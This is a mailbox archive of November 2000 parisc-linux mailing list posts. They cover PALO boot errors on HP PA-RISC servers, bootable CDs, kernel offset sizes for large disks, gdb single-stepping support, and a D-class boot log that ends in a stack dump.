 <Your message of "Fri, 03 Nov 2000 11:03:23 PST." <5.0.0.25.0.20001102174648.02a4fb20@mail.webcash.com>
 <5.0.0.25.0.20001103114401.00a46150@mail.webcash.com>
 <5.0.0.25.0.20001114142101.00a69910@mail.webcash.com> <002601c04ef1$937b7380$a832d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416619288 6231 80.91.229.3 (22 Nov 2014 01:21:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:28 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: "Thomas Marteau" <marteaut@esiee.fr>
Original-X-From: kailasr@webcash.com  Wed Nov 15 10:56:52 2000
Original-Received: from ns2.imedia.net (mail.imedia.net [209.247.154.4])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA29333
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 10:56:42 -0700
Original-Received: from test.webcash.com ([209.157.82.100])
	by ns2.imedia.net (8.10.2/8.9.3) with ESMTP id eAFHr7x22617;
	Wed, 15 Nov 2000 09:53:07 -0800 (PST)
X-Sender: kailasr@mail.webcash.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
In-Reply-To: <002601c04ef1$937b7380$a832d793@esiee.fr>
Original-References: <Your message of "Fri, 03 Nov 2000 11:46:39 PST." <5.0.0.25.0.20001103114401.00a46150@mail.webcash.com>
 <Your message of "Fri, 03 Nov 2000 11:03:23 PST." <5.0.0.25.0.20001102174648.02a4fb20@mail.webcash.com>
 <5.0.0.25.0.20001103114401.00a46150@mail.webcash.com>
 <5.0.0.25.0.20001114142101.00a69910@mail.webcash.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8442

Yes Thomas the vmlinux is in /boot of 3rd partition as the other partitions 
are swap and f0.

At 11:48 AM 11/15/00 +0100, Thomas Marteau wrote:

>----- Original Message -----
>From: Kailashnath V Rampure <kailasr@webcash.com>
>To: Paul Bame <bame@noam.fc.hp.com>
>Cc: Grant Grundler <grundler@cup.hp.com>; Matt Taggart
><taggart@carmen.fc.hp.com>; <parisc-linux@thepuffingroup.com>
>Sent: Tuesday, November 14, 2000 11:58 PM
>Subject: Re: [parisc-linux] Boot command
>
>
> > I have booted HP A class server through network. On that I have
>repartioned
> > the system and followed the steps on
>http://www.parisc-linux.org/install.html.
> > I have used the following command to initialize the hard disk. The kernel
>I
> > have downloaded is vmlinux-20001018. and cpied it to /mnt/boot/vmlinux
> > after mounting /dev/sda3. I have used the following command to initialize
> > the HDD.
> >
> > palo -I -k /boot/vmlinux -b /boot/iplboot \ -c '3/boot/vmlinux TERM=linux
> > HOME=/ root=/dev/sda3' \ /dev/sda
>
>This means that vmlinux must be in /boot in your third partition on your
>disk.
>Is it true in your case?
>
> > --------------------------------
> > I get the following error:
> > --------------------------------
> > SOFT Boot.
> > palo ipl bame@noam Tue oct 31 14:18:02 MST 2000
> > 0/vmlinux 2138614 bytes@ 0x1f78c000
> > 0/palo-cmdline '3/boot/vmlinux TERM=linux HOME=/ root=/dev/sda3'
> > /dev/ida1 82 62 1030688
> > /dev/ida2 f0 1030750 24738
> > /dev/ida3 83 1055488 1030750
> > Kernel:partition 3 file /boot/vmlinux
> > ext2 block size 1024
> > ext2_mount(partition 3) returns 0
> > ext2_open(/boot/vmlinux) = -1
> > open /boot/vmlinux failed
> > -------------------------------------
> > Please suggest.
> >
> > --------------------------------------------------------------------------
>-
> > To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com
>with
> > `unsubscribe' as the subject.
> >
> >


From - Thu Nov 08 21:14:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Beta CD
Date: Wed, 15 Nov 2000 11:05:14 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <E13w6vq-0006UF-00@noam.fc.hp.com>
References: <20001110171406.C3196@achilles.net>  <20001115114709.B69784@athena.louisville.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619288 6233 80.91.229.3 (22 Nov 2014 01:21:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Phillip D. Beal" <pdbeal@louisville.edu>
Original-X-From: bame@noam.fc.hp.com  Wed Nov 15 11:03:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA29738
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 11:03:19 -0700
Original-Received: (qmail 7099 invoked by uid 15267); 15 Nov 2000 18:05:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6920 invoked from network); 15 Nov 2000 18:05:18 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 15 Nov 2000 18:05:18 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 6EDD93F15; Wed, 15 Nov 2000 13:05:17 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id LAA25297;
	Wed, 15 Nov 2000 11:05:15 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13w6vq-0006UF-00; Wed, 15 Nov 2000 11:05:14 -0700
In-Reply-To: Your message of "Wed, 15 Nov 2000 11:47:09 EST."
             <20001115114709.B69784@athena.louisville.edu> 
Xref: news.gmane.org gmane.linux.ports.parisc:8443

= How did you get the kernel image into the boot
= sector of the CD?  I'd like to try to build some CD's of the kernels I'm
= building to test in some mahcines that are not on the same network as
= the machine that I'm building everything from.

The magic for making bootable CDs is documented in the PALO README.html
which you have on your system already since you're building kernels.

	-P


From - Thu Nov 08 21:14:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thomas Marteau" <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot command
Date: Wed, 15 Nov 2000 19:10:56 +0100
Lines: 69
Approved: news@gmane.org
Message-ID: <007c01c04f2f$6679f620$a832d793@esiee.fr>
References: <Your message of "Fri, 03 Nov 2000 11:46:39 PST." <5.0.0.25.0.20001103114401.00a46150@mail.webcash.com><Your message of "Fri, 03 Nov 2000 11:03:23 PST." <5.0.0.25.0.20001102174648.02a4fb20@mail.webcash.com><5.0.0.25.0.20001103114401.00a46150@mail.webcash.com><5.0.0.25.0.20001114142101.00a69910@mail.webcash.com> <5.0.0.25.0.20001115095344.01f15cb0@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619288 6235 80.91.229.3 (22 Nov 2014 01:21:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:28 +0000 (UTC)
Cc: <parisc-linux@puffin.external.hp.com>
To: "Kailashnath V Rampure" <kailasr@webcash.com>
Original-X-From: marteaut@esiee.fr  Wed Nov 15 11:06:35 2000
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA30100
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 11:06:33 -0700
Original-Received: from pc5158b (pc5158b.esiee.fr [147.215.50.168])
	by mail.esiee.fr (Postfix) with SMTP
	id A5CFC57317; Wed, 15 Nov 2000 19:08:27 +0100 (CET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Xref: news.gmane.org gmane.linux.ports.parisc:8444

Hi again,

    You put the swap partition before the f0 partition and here it is the f0
partition in first position.
    Also, your hard disk is ida instead of sda, what's that ?

Bye,

ESIEE Team
----- Original Message -----
From: Kailashnath V Rampure <kailasr@webcash.com>
To: Thomas Marteau <marteaut@esiee.fr>
Cc: <parisc-linux@puffin.external.hp.com>
Sent: Wednesday, November 15, 2000 6:55 PM
Subject: Re: [parisc-linux] Boot command


> Yes Thomas the vmlinux is in /boot of 3rd partition as the other
partitions
> are swap and f0.
>
> At 11:48 AM 11/15/00 +0100, Thomas Marteau wrote:
>
> >----- Original Message -----
> >From: Kailashnath V Rampure <kailasr@webcash.com>
> >To: Paul Bame <bame@noam.fc.hp.com>
> >Cc: Grant Grundler <grundler@cup.hp.com>; Matt Taggart
> ><taggart@carmen.fc.hp.com>; <parisc-linux@thepuffingroup.com>
> >Sent: Tuesday, November 14, 2000 11:58 PM
> >Subject: Re: [parisc-linux] Boot command
> >
> >
> > > I have booted HP A class server through network. On that I have
> >repartioned
> > > the system and followed the steps on
> >http://www.parisc-linux.org/install.html.
> > > I have used the following command to initialize the hard disk. The
kernel
> >I
> > > have downloaded is vmlinux-20001018. and cpied it to /mnt/boot/vmlinux
> > > after mounting /dev/sda3. I have used the following command to
initialize
> > > the HDD.
> > >
> > > palo -I -k /boot/vmlinux -b /boot/iplboot \ -c '3/boot/vmlinux
TERM=linux
> > > HOME=/ root=/dev/sda3' \ /dev/sda
> >
> >This means that vmlinux must be in /boot in your third partition on your
> >disk.
> >Is it true in your case?
> >
> > > --------------------------------
> > > I get the following error:
> > > --------------------------------
> > > SOFT Boot.
> > > palo ipl bame@noam Tue oct 31 14:18:02 MST 2000
> > > 0/vmlinux 2138614 bytes@ 0x1f78c000
> > > 0/palo-cmdline '3/boot/vmlinux TERM=linux HOME=/ root=/dev/sda3'
> > > /dev/ida1 82 62 1030688
> > > /dev/ida2 f0 1030750 24738
> > > /dev/ida3 83 1055488 1030750
> > > Kernel:partition 3 file /boot/vmlinux
> > > ext2 block size 1024
> > > ext2_mount(partition 3) returns 0
> > > ext2_open(/boot/vmlinux) = -1
> > > open /boot/vmlinux failed



From - Thu Nov 08 21:14:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help with posix_types.h
Date: Wed, 15 Nov 2000 13:09:49 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <200011151809.NAA22314@hiauly1.hia.nrc.ca>
References: <E13w62o-0006Pv-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619289 6236 80.91.229.3 (22 Nov 2014 01:21:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:29 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: bame@noam.fc.hp.com (Paul Bame)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Nov 15 11:09:06 2000
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA30441
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 11:09:05 -0700
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id NAA22314;
	Wed, 15 Nov 2000 13:09:49 -0500 (EST)
In-Reply-To: <E13w62o-0006Pv-00@noam.fc.hp.com> from "Paul Bame" at Nov 15, 2000 10:08:22 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8445

The largest disk currently available I believe is the 180GB Seagate Baracuda.
The size of drives is increasing about a factor of 2 per year.  The
__kernel_off_t definitely needs to be 64 bits to handle large drives
in both 32 and 64 bit systems.  Disk blocks are typically 512 or 1024 bytes.
Thus, drives may exceed 4GB disk blocks in 3-4 years.  Inodes are variable
in size (8KB average).  Thus, we are a little further away from exceeding
the 32 bit inode limit.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot command
Date: Wed, 15 Nov 2000 11:12:57 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <E13w73J-0006Vp-00@noam.fc.hp.com>
References: <Your message of "Fri, 03 Nov 2000 11:46:39 PST." <5.0.0.25.0.20001103114401.00a46150@mail.webcash.com><Your message of "Fri, 03 Nov 2000 11:03:23 PST." <5.0.0.25.0.20001102174648.02a4fb20@mail.webcash.com><5.0.0.25.0.20001103114401.00a46150@mail.webcash.com><5.0.0.25.0.20001114142101.00a69910@mail.webcash.com> <5.0.0.25.0.20001115095344.01f15cb0@mail.webcash.com>  <007c01c04f2f$6679f620$a832d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619289 6239 80.91.229.3 (22 Nov 2014 01:21:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:29 +0000 (UTC)
Cc: "Kailashnath V Rampure" <kailasr@webcash.com>,
        parisc-linux@puffin.external.hp.com
To: "Thomas Marteau" <marteaut@esiee.fr>
Original-X-From: bame@noam.fc.hp.com  Wed Nov 15 11:10:55 2000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA30710
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 11:10:55 -0700
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id LAA26484;
	Wed, 15 Nov 2000 11:12:58 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13w73J-0006Vp-00; Wed, 15 Nov 2000 11:12:57 -0700
In-Reply-To: Your message of "Wed, 15 Nov 2000 19:10:56 +0100."
             <007c01c04f2f$6679f620$a832d793@esiee.fr> 
Xref: news.gmane.org gmane.linux.ports.parisc:8446

=     You put the swap partition before the f0 partition and here it is the f0
= partition in first position.

The partition order doesn't matter so long as the f0 partition and
the partition containing your kernel (an ext2 partition) *end* within
the first 2Gb of the disk.  See the PALO README.html.

=     Also, your hard disk is ida instead of sda, what's that ?

PALO lists the devices as 'ida' instead of 'sda' or 'hda' since it
is using the firmware 'IODC' interface to talk to the boot device,
and it has no idea what type of boot device IODC is providing.

	-P


From - Thu Nov 08 21:14:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Single-stepping
Date: Wed, 15 Nov 2000 18:48:08 +0000
Lines: 45
Approved: news@gmane.org
Message-ID: <20001115184808.P32715@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619289 6240 80.91.229.3 (22 Nov 2014 01:21:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:29 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: rhirst@linuxcare.com  Wed Nov 15 11:48:37 2000
Original-Received: from rhirst.linuxcare.com (sleepie.demon.co.uk [194.222.23.208])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA31180
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 11:48:36 -0700
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id A5740B007; Wed, 15 Nov 2000 18:48:08 +0000 (GMT)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:8447

(Oops, CC-ed to the wrong list first time!)

Hi John,
  I've been helping Alan Modra out with kernel changes to support
single stepping for gdb.  Paul Bame suggested I bounced our ideas
off you in case you (or anyone else) had any comments.  I havn't
actually committed my changes yet.

The basic approach is to use the recovery counter to generate
a trap every instruction.  The scheme is complicated because a
suspended process may or may not return to user space via an RFI.

If it was suspended as a result of an interrupt then we can
simply set PSW bit R in the tasks saved registers and it will
get loaded by the RFI.  On every task switch I set the
recovery counter to 0, just in case the new process is being
single-stepped.

If a process is suspended during a syscall, then there is no
RFI on the return path to userland, and we have to handle things
differently.  I have changed the syscall return path such that
it loads the recovery counter with 3 before updating the PSW
with a value from the tasks saved registers.  If that PSW has
the R bit set, then the count of 3 will generate a trap on the
first instruction following the branch back to user space.
Note that PSW wasn't previously restored on the syscall return
path.

To avoid further complications of interrupts during the three
instructions when the recovery counter is decrementing, whenever
we set the R bit, we also clear the I bit to disable interrupts.

Nullified instructions are handled by the controlling process
manually moving the childs IAOQ over the instruction without
actually setting it running, because the recovery counter isn't
decremented for nullified instructions.

I need to do some more testing before committing this, but would
welcome any comments on the basic approach taken, areas I have
mis-understood, or problems with it that might not yet have
occurred to me.

Thanks,
  Richard


From - Thu Nov 08 21:14:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Thienemann <andreas@bawue.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 250/1 doesn't boot but dumps stack
Date: Thu, 16 Nov 2000 20:20:41 +0100
Organization: IXS
Lines: 263
Approved: news@gmane.org
Message-ID: <3A143389.CA59F143@bawue.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------F7EF1B69F0A7C4C7DD54E27D"
X-Trace: ger.gmane.org 1416619290 6244 80.91.229.3 (22 Nov 2014 01:21:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:30 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andreas@bawue.de  Wed Nov 15 12:14:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA31667
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 12:14:54 -0700
Original-Received: (qmail 21774 invoked by uid 15267); 15 Nov 2000 19:16:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21746 invoked from network); 15 Nov 2000 19:16:57 -0000
Original-Received: from bender.bawue.de (193.197.13.1)
  by mailserv2.iuinc.com with SMTP; 15 Nov 2000 19:16:57 -0000
Original-Received: from gate.ixs.bb.bawue.de (p3E9D2999.dip.t-dialin.net [62.157.41.153])
	by bender.bawue.de (Postfix) with ESMTP id 1B114817
	for <parisc-linux@thepuffingroup.com>; Wed, 15 Nov 2000 20:16:54 +0100 (CET)
Original-Received: from bawue.de (ixs.ixs.com [192.168.1.2])
	by gate.ixs.bb.bawue.de (8.9.3/8.9.3) with ESMTP id UAA19792
	for <parisc-linux@thepuffingroup.com>; Wed, 15 Nov 2000 20:16:52 +0100
X-Mailer: Mozilla 4.76 [en] (Win98; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8448

This is a multi-part message in MIME format.
--------------F7EF1B69F0A7C4C7DD54E27D
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,

I recently got a D-Class HP900 250/1 (at least it says that on the label) and
tried to get the pa-risc port running on it.

So I got a CVS checkout and build the whole toolchain without any major
hassles.

The kernel, including NFS-ROOT, built also without any glitches.

But when I try to boot up this kernel it dumps stack right after initialising
the pty interfaces. (I already left out everything unnecessary, such as
parallel port support)

After that it complains about "Data acces rights fault in kernel: Code=26
regs=c7f98780 (Addr=000000004)" and some more data...

For the curious, the boot sequence is attached.

I hope someone can give me a clue what might be wrong...
Thanks,
 Andreas
--------------F7EF1B69F0A7C4C7DD54E27D
Content-Type: text/plain; charset=us-ascii;
 name="hp9000-capture"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="hp9000-capture"


Firmware Version  36.34

Duplex Console IO Dependent Code (IODC) revision 0

------------------------------------------------------------------------------
   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           Coprocessor State  Cache Size
  ---------  --------   ---------------------  -----------------  ----------
      0       101 MHz   Active                 Functional          256 KB

  Central Bus Speed (in MHz)  :        101 

  Available memory (bytes)    :  134217728 
  Good memory required (bytes):   15245312 

  Primary boot path:    8/16/5.5   (dec)   
  Alternate boot path:  8/16/5.2   (dec)   
  Console path:         8/16/4.0   (dec)   
  Keyboard path:        8/16/7.0   (dec)   

Processor is booting from first available device.

To discontinue, press any key within 10 seconds.

Boot terminated.


------- Main Menu -------------------------------------------------------------

        Command                         Description
        -------                         -----------
        BOot [PRI|ALT|<path>]           Boot from specified path
        PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path
        SEArch [DIsplay|IPL] [<path>]   Search for boot devices

        COnfiguration [<command>]       Access Configuration menu/commands
        INformation [<command>]         Access Information menu/commands
        SERvice [<command>]             Access Service menu/commands

        DIsplay                         Redisplay the current menu
        HElp [<menu>|<command>]         Display help for menu or command
        RESET                           Restart the system
-------
Main Menu: Enter command > bo 8/16/6.0
Interact with IPL (Y or N)?> n

Booting... 
Network Station Address 0060b0-3c08d4

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl root@gate.ixs.com Wed Nov 15 14:08:22 CET 2000
0/vmlinux 2143238 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=LINUX root=/dev/nfs nfsroot=192.168.1.1 '
Kernel: partition 0 file /vmlinux
ELF32 executable

Entry 00100120 first 00100000 n 4
Segment 0 load 00100000 size 1467884 mediaptr 0x1000
Segment 1 load 00268000 size 174520 mediaptr 0x168000
Segment 2 load 00294000 size 103180 mediaptr 0x193000
Segment 3 load 002b0000 size 8192 mediaptr 0x1ad000
branching to kernel entry point 0x00100120
Set default PSW W bit to 0
PDC Console Initialized
The 32-bit Kernel has started...
Enabled FP coprocessor
Free memory starts at: 0xc02dc000
start_parisc(0x504d6c,0x504d6c,0x0,0x0)
PALO command line: 'HOME=/ TERM=LINUX root=/dev/nfs nfsroot=192.168.1.1 '
PALO initrd 0-0
model   00005890 00000481 00000000 00000002 778314c3 100000f0 00000004 0000008a 0000008a
vers    0000000d
cpuid   0000016d
CPUID vers 11 rev 13
Searching for devices in PDC firmware... processor hpa 0xfffa0000
a newer box...
Found devices:
1. UL 350 Lasi Core BA (11) at 0xffd00000, versions 0x2e, 0x0, 0x81, 0x0, 0x0
2. UL 350 Lasi Core RS-232 (10) at 0xffd05000, versions 0x2e, 0x0, 0x8c, 0x0, 0x0
3. UL 350 Core SCSI (10) at 0xffd06000, versions 0x2e, 0x0, 0x82, 0x0, 0x80
4. UL 350 Core LAN (802.3) (10) at 0xffd07000, versions 0x2e, 0x0, 0x8a, 0x0, 0x0
5. UL 350 Core Centronics (10) at 0xffd02000, versions 0x2e, 0x0, 0x74, 0x0, 0x0
6. UL 350 Core PC Keyboard (10) at 0xffd08000, versions 0x2e, 0x0, 0x84, 0x0, 0x0
7. UL 350 Core PC Keyboard (10) at 0xffd08100, versions 0x2e, 0x0, 0x84, 0x0, 0x0
8. UL 350 Core PC Floppy (10) at 0xffd0a000, versions 0x2e, 0x0, 0x83, 0x0, 0x0
9. UL 350 Core Wax BA (11) at 0xffe00000, versions 0x30, 0x0, 0x8e, 0x0, 0x0
10. UL 350 Wax EISA BA (11) at 0xfc000000, versions 0x30, 0x0, 0x90, 0x0, 0x0
11. UL 350 Wax Core RS-232 (10) at 0xffe02000, versions 0x30, 0x0, 0x8c, 0x0, 0x0
That's a total of 11 devices.
No CPUs reported by firmware - probing...
Found CPU at fffa0000
CPU(s): 1 x PA7200 (PCX-T') at 101.000000 MHz
Linux version 2.4.0-test10 (root@gate.ixs.com) (gcc version 2.96 20000925 (experimental)) #4 Wed Nov 15 19:06:49 CET 2000
free_bootmem(0x2dd000, 0x7d23000)
pagetable_init
On node 0 totalpages: 32768
zone(0): 16384 pages.
zone(1): 16384 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=LINUX root=/dev/nfs nfsroot=192.168.1.1 
trap_init
Calibrating delay loop... 100.76 BogoMIPS
Memory: 125568k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
Buffer-cache hash table entries: 8192 (order: 3, 32768 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xffd00000 found.
Wax at 0xffe00000 found.
Wax: HIL Keyboard-NMI registered.
parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
Found i82596 at 0xffd07000, IRQ 87
early initialization of device eth0 is deferred
Initializing Lasi PS/2-keyboard port at 0xffd08000...
Support for Lasi PS/2-psaux not yet available !
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
lp0: using parport0 (interrupt-driven).

Dumping Stack from c7f98000 to c7f989c0:
8000 00000000 00000040 00000000 00000000 c027c32c 00000000 00000000 ffffffff
8020 00000001 00000000 00000000 00000000 00000000 00000000 ffffffff c027c244
8040 c027c244 00000031 c7f90000 c02b0000 c028160c 00000000 00000000 00000000
8060 00000000 00000000 00000000 00000001 00000000 00000000 00000000 00000000
8080 00000000 c02b0000 c02b0000 c7f84000 00000000 00000000 c7f84098 c02b0098
80a0 00000000 c02cba18 00000000 c7f980ac c7f980ac c7f980b4 c01177f4 c7f98908
80c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
80e0 00000000 00000000 c7f98000 c011a5e4 00000000 0000000f 00000000 00000000
8100 00000024 00000000 00000033 00000000 00000000 00000000 00000000 00000000
8120 00000000 80000000 00000000 00000000 00000000 00000000 00000000 00000000
8140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
81a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
81c0 00000000 00000000 00000000 fffffeff 00000000 ffffffff 00000000 c027ceb8
81e0 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff 00800000 05000000
8200 00000000 ffffffff ffffffff ffffffff 00000800 00000800 00000400 00000400
8220 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff 00007377 61707065
8240 72000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8260 00008000 c0269000 c0269000 c013de10 00010000 c7ffeba0 c022248c c0234898
8280 000000f0 c02db000 00000000 c0118cf0 c0269054 00008000 c0269000 c0269054
82a0 f0000068 f0000070 c027c000 c027c368 0000000b 00000024 0000003c 0000003e
82c0 c027c000 00000000 c01001dc 00000004 00000000 00000023 c02b61ef 00000000
82e0 c027c000 f0000070 f0000068 000000ff ffd05800 ffd05800 ffd05800 00000060
8300 ffffffff ffd05800 002b50c0 c0268000 00000000 00000000 c02b08c0 00000000
8320 000b0800 00000000 0000001f 00000000 0000001f 00000000 0000001f 00000000
8340 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8360 00000010 00000020 7f7fffff ffffffff 43ebebeb e0000000 00000000 00000000
8380 45e69c6a 25b7ea20 41800000 00000000 00000010 00000010 00000000 00000000
83a0 00000040 00000080 00000100 00000200 00000400 00000800 7fffffff 7fffffff
83c0 41000000 00000000 7fffffff 7fffffff 40800000 00000000 41000000 00000000
83e0 40300000 00000000 40200000 00000000 40200000 00000000 41800000 7fffffff
8400 40000000 00000000 40000000 00000000 40800000 00000000 41000000 00000000
8420 00000000 00000000 c7f98800 c0103cf4 00000000 00000000 00000000 00000000
8440 00000000 00000000 c0118ce0 c0118ce4 40800000 00000000 00282000 00000000
8460 c0281040 c0281064 00000000 c0281204 00000000 00000000 00000000 c7f98478
8480 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
84a0 00000000 00000000 71894dcb e3642ec4 c6c85d89 8d90bb13 1b217627 3634591c
84c0 6c1e076a d84abb86 b095770d 612aee1b c2236964 8446d2c9 088da593 116dfe74
84e0 22ad49ba 452c2626 8a2ef91e c0103c48 28cd5128 51ec1702 a3ae9b56 475d36ad
